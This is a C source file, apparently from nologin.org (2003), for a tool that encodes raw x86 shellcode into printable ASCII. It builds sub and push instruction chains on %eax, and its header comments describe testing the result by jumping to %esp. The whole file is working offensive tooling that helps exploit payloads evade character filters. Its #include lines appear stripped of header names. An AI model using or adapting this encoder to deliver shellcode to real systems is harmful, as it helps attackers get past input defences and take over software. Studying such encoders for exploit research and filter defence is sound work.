/* * nologin * * http://www.nologin.org * ---------- * * shellcode text encoding utility for 7bit shellcode. * * 04/06/2003 * skape * * gcc -Wall -O3 encode.c -o encode * * Many props to the makers of this article: * * http://community.core-sdi.com/~juliano/bypass-msb.txt * * How to test: * * .text * .globl main * * main: * push %ebp * mov %esp, %ebp * .ascii "text-encoded-shellcode-here" * jmp %esp * leave * ret * */ #include #include #include #include #include // The chunk size is the size of each individual 4 byte chunk converted to opcodes: // // sub $0x41414141, %eax ; 5 bytes // sub $0x41414141, %eax ; 5 bytes // sub $0x41414141, %eax ; 5 bytes // push %eax ; 1 byte #define CHUNK_SIZE 16 // 5 * 3 + 1 typedef struct _character { char character; struct _character *next; } CHARACTER; typedef struct _character_enum { char bucket; CHARACTER *curr; } CHARACTER_ENUM; typedef struct _context { // Character set information CHARACTER *characters[16]; // Current counters unsigned long currentEax; // Output buffer char *outputBuffer; unsigned long outputBufferLength; unsigned long outputBufferOffset; FILE *shellCodeFile; unsigned long shellCodeFileSize; FILE *outputFile; } CONTEXT; unsigned long encodeInitialize(CONTEXT *c, const char *characterSet); unsigned long encodeProcess(CONTEXT *c); unsigned long encodeCalculate(CONTEXT *c, unsigned long desired, unsigned long current, unsigned long numberSet[3]); unsigned long encodeGetEax(CONTEXT *c, unsigned long initial, unsigned long *zero); unsigned long characterSetAdd(CONTEXT *c, char character); unsigned long characterSetEnumReset(CONTEXT *c, CHARACTER_ENUM *e); unsigned long characterSetEnumNext(CONTEXT *c, CHARACTER_ENUM *e, char *letter); unsigned long characterSetEnumNext4(CONTEXT *c, CHARACTER_ENUM *e, unsigned long *combo); unsigned long characterSetIsValid(CONTEXT *c, char character); int main(int argc, char **argv) { CONTEXT c; const char defaultCharacterSet[] = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-%!#$^&"; const char *characterSet = defaultCharacterSet; int let; memset(&c, 0, sizeof(c)); if (argc == 1) { fprintf(stderr, "Usage: %s [-c character set] [-o output file] [-s raw_shellcode_file]\n", argv[0]); return 0; } while ((let = getopt(argc, argv, "c:o:s:")) != EOF) { switch (let) { case 'c': characterSet = optarg; break; case 'o': c.outputFile = fopen(optarg, "w"); if (!c.outputFile) { fprintf(stderr, "Couldn't open '%s', using stdout...\n", optarg); c.outputFile = stdout; } break; case 's': { struct stat statbuf; c.shellCodeFile = fopen(optarg, "r"); if (!c.shellCodeFile) { fprintf(stderr, "Couldn't open shellcode file, aborting.\n"); return 0; } if (stat(optarg, &statbuf) < 0) { fprintf(stderr, "Couldn't stat shellcode file, aborting.\n"); return 0; } c.shellCodeFileSize = statbuf.st_size; // Align it properly. c.shellCodeFileSize += (c.shellCodeFileSize % 4 != 0) ? 4 - (c.shellCodeFileSize % 4) : 0; } break; default: break; } } if ((!strchr(characterSet, '-')) || (!strchr(characterSet, 'P'))) { fprintf(stderr, "Missing required control characters from character set [-,P,%%]\n"); return 0; } encodeInitialize(&c, characterSet); return 1; } unsigned long encodeInitialize(CONTEXT *c, const char *characterSet) { CHARACTER_ENUM e; unsigned long ret = 0; const char *curr = characterSet; unsigned long initial = 0, zero = 0; // Initialize while (curr && *curr) { characterSetAdd(c, *curr); curr++; } do { characterSetEnumReset(c, &e); if (!characterSetEnumNext4(c, &e, &initial)) break; if (!encodeGetEax(c, initial, &zero)) { fprintf(stderr, "Could not get eax to zero with current character set.\n"); break; } // Current eax is always initialized to initial eax. c->currentEax = 0; // Initialize our output buffer. c->outputBufferLength = 10 + ((c->shellCodeFileSize / 4) * CHUNK_SIZE); c->outputBuffer = (char *)malloc(c->outputBufferLength + 1); sprintf(c->outputBuffer, "%%%.4s%%%.4s", (char *)&initial, (char *)&zero); // Move along and process. ret = encodeProcess(c); } while (0); if (c->outputFile != stdout) fclose(c->outputFile); return ret; } unsigned long encodeProcess(CONTEXT *c) { unsigned char *raw = (unsigned char *)malloc(c->shellCodeFileSize); unsigned long numberSet[3], ret = 1; char chunk[CHUNK_SIZE + 1]; unsigned long *curr; numberSet[0] = numberSet[1] = numberSet[2] = 0; memset(raw, 0x90, c->shellCodeFileSize); if (!fread(raw, 1, c->shellCodeFileSize, c->shellCodeFile)) return 0; c->outputBufferOffset = 10; for (curr = (unsigned long *)(raw + c->shellCodeFileSize - 4); curr != (unsigned long *)(raw - 4); curr--, c->outputBufferOffset += CHUNK_SIZE) { if (!encodeCalculate(c, *curr, c->currentEax, numberSet)) { fprintf(stderr, "Character set is not sufficient enough to generate encoded buffer.\n"); ret = 0; break; } // Write the chunk to the output buffer sprintf(chunk, "-%.4s-%.4s-%.4sP", (char *)&numberSet[0], (char *)&numberSet[1], (char *)&numberSet[2]); memcpy(c->outputBuffer + c->outputBufferOffset, chunk, sizeof(chunk) - 1); } // Null terminate our string. c->outputBuffer[c->outputBufferLength] = 0; fprintf(c->outputFile, "%s\n", c->outputBuffer); return ret; } unsigned long encodeCalculate(CONTEXT *c, unsigned long desired, unsigned long current, unsigned long numberSet[3]) { CHARACTER_ENUM first, second, third; unsigned long bit = 0, currentByte = 0, desiredByte = 0; unsigned long rollover, out, actual, carry = 0, final = 0; numberSet[0] = numberSet[1] = numberSet[2] = 0; for (bit = 0; bit < 4; bit++) { currentByte = (current) >> (bit * 8) & 0xff; desiredByte = (desired) >> (bit * 8) & 0xff; out = 0; for (characterSetEnumReset(c, &first); !out && characterSetEnumNext(c, &first, NULL); ) { for (characterSetEnumReset(c, &second); !out && characterSetEnumNext(c, &second, NULL); ) { for (characterSetEnumReset(c, &third); !out && characterSetEnumNext(c, &third, NULL); ) { rollover = first.curr->character; rollover += second.curr->character; rollover += third.curr->character; rollover += desiredByte; rollover += carry; actual = (rollover & 0xff); if (actual == currentByte) { numberSet[0] += first.curr->character << (bit * 8); numberSet[1] += second.curr->character << (bit * 8); numberSet[2] += third.curr->character << (bit * 8); carry = (rollover & 0xff00) >> 8; out = 1; } } } } } final = c->currentEax - numberSet[0] - numberSet[1] - numberSet[2]; if (final != desired) return 0; c->currentEax = final; return 1; } unsigned long encodeGetEax(CONTEXT *c, unsigned long initial, unsigned long *zero) { CHARACTER_ENUM bit1, bit2, bit3, bit4; unsigned long out = 0; for (characterSetEnumReset(c, &bit1); !out && characterSetEnumNext(c, &bit1, NULL); ) { for (characterSetEnumReset(c, &bit2); !out && characterSetEnumNext(c, &bit2, NULL); ) { for (characterSetEnumReset(c, &bit3); !out && characterSetEnumNext(c, &bit3, NULL); ) { for (characterSetEnumReset(c, &bit4); !out && characterSetEnumNext(c, &bit4, NULL); ) { *zero = bit1.curr->character & 0xff; *zero += (bit2.curr->character << 8) & 0x0000ff00; *zero += (bit3.curr->character << 16) & 0x00ff0000; *zero += (bit4.curr->character << 24) & 0xff000000; if ((initial & *zero) == 0) out = 1; } } } } return out; } unsigned long characterSetAdd(CONTEXT *c, char character) { CHARACTER *curr = (CHARACTER *)malloc(sizeof(CHARACTER)), *temp; char bucket = (character & 0xf0) >> 4; if (!(temp = c->characters[(int)bucket])) c->characters[(int)bucket] = curr; else { while (temp->next) temp = temp->next; temp->next = curr; } curr->character = character; curr->next = NULL; return 1; } unsigned long characterSetEnumReset(CONTEXT *c, CHARACTER_ENUM *e) { e->bucket = 0; e->curr = NULL; return 1; } unsigned long characterSetEnumNext(CONTEXT *c, CHARACTER_ENUM *e, char *letter) { unsigned long ret = 0; do { // We reached the last bucket. if (e->bucket >= 16) break; // If we have a valid current position, go to the next one. if (e->curr) e->curr = e->curr->next; while (e->bucket < 15 && e->curr == NULL) e->curr = c->characters[(int)++e->bucket]; if (!e->curr) break; // Success. if (letter) *letter = e->curr->character; ret = 1; } while (0); return ret; } unsigned long characterSetEnumNext4(CONTEXT *c, CHARACTER_ENUM *e, unsigned long *combo) { unsigned long index = 0; char letter = 0; *combo = 0; for (index = 0; index < 4 && characterSetEnumNext(c, e, &letter); index++) *combo += (letter & 0xff) << (8 * index); return 1; } unsigned long characterSetIsValid(CONTEXT *c, char character) { CHARACTER_ENUM e; unsigned long ret = 0; for (characterSetEnumReset(c, &e); !ret && characterSetEnumNext(c, &e, NULL); ) { if (e.curr->character == character) ret = 1; } return ret; }